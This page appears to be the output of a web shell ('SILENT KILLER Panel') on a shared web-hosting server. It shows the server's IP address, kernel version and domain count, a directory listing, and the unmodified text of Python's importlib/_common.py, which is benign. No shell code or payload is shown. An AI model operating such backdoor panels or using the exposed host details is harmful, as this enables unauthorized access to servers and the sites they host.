SILENT KILLERPanel

Current Path: > > opt > alt > python39 > > lib64 > python3.9 > importlib


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: //opt/alt/python39//lib64/python3.9/importlib

NameTypeSizeLast ModifiedActions
__pycache__ Directory - -
__init__.py File 6061 bytes June 03 2025 18:47:52.
_bootstrap.py File 40322 bytes June 03 2025 18:47:52.
_bootstrap_external.py File 64947 bytes June 03 2025 18:47:52.
_common.py File 1497 bytes June 03 2025 18:47:52.
abc.py File 14924 bytes June 03 2025 18:47:52.
machinery.py File 844 bytes June 03 2025 18:47:52.
metadata.py File 18750 bytes June 03 2025 18:47:52.
resources.py File 7209 bytes June 03 2025 18:47:52.
util.py File 11321 bytes June 03 2025 18:47:52.

Reading File: //opt/alt/python39//lib64/python3.9/importlib/_common.py

import os
import pathlib
import zipfile
import tempfile
import functools
import contextlib


def from_package(package):
    """
    Return a Traversable object for the given package.

    """
    return fallback_resources(package.__spec__)


def fallback_resources(spec):
    package_directory = pathlib.Path(spec.origin).parent
    try:
        archive_path = spec.loader.archive
        rel_path = package_directory.relative_to(archive_path)
        return zipfile.Path(archive_path, str(rel_path) + '/')
    except Exception:
        pass
    return package_directory


@contextlib.contextmanager
def _tempfile(reader, suffix=''):
    # Not using tempfile.NamedTemporaryFile as it leads to deeper 'try'
    # blocks due to the need to close the temporary file to work on Windows
    # properly.
    fd, raw_path = tempfile.mkstemp(suffix=suffix)
    try:
        os.write(fd, reader())
        os.close(fd)
        yield pathlib.Path(raw_path)
    finally:
        try:
            os.remove(raw_path)
        except FileNotFoundError:
            pass


@functools.singledispatch
@contextlib.contextmanager
def as_file(path):
    """
    Given a Traversable object, return that object as a
    path on the local file system in a context manager.
    """
    with _tempfile(path.read_bytes, suffix=path.name) as local:
        yield local


@as_file.register(pathlib.Path)
@contextlib.contextmanager
def _(path):
    """
    Degenerate behavior for pathlib.Path objects.
    """
    yield path

SILENT KILLER Tool